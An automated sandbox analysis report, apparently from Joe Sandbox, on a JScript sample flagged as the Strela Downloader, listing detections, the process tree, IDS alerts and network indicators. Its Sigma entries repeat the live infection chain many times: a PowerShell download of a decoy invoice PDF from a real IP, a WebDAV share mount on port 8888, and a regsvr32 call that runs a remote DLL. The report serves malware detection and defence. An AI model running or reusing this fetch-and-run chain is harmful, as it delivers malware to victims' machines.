Edit tour

Windows Analysis Report
2926013193173129097.js

Overview

General Information

Sample name:	2926013193173129097.js
Analysis ID:	1588747
MD5:	63885cad1d0a1f7a65ccad900b5cf36d
SHA1:	06d98b2d125e18fcd50d7d131a488b2c4efc8454
SHA256:	fd9c24f13db35b0035b82f6612d092ada9575d0bc494783070a01e0b668fdb6b
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4480 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2926013193173129097.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1172 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6180 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5560 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6104 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7268 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1748,i,5103276727836364045,17374758029892036500,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4308 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6548 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6488 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4480	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1172, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6180, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1172, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6180, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2926013193173129097.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2926013193173129097.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2926013193173129097.js", ProcessId: 4480, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6548, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2926013193173129097.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 1172, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2926013193173129097.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 1172, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2926013193173129097.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 1172, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2926013193173129097.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 1172, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2926013193173129097.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 1172, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2926013193173129097.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2926013193173129097.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2926013193173129097.js", ProcessId: 4480, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1172, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6180, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4308, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6548, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6488, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4308, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6548, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2926013193173129097.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll, ProcessId: 1172, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:59:09.462679+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:59:11.659069+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:59:09.462679+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2926013193173129097.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2926013193173129097.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:59:09 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
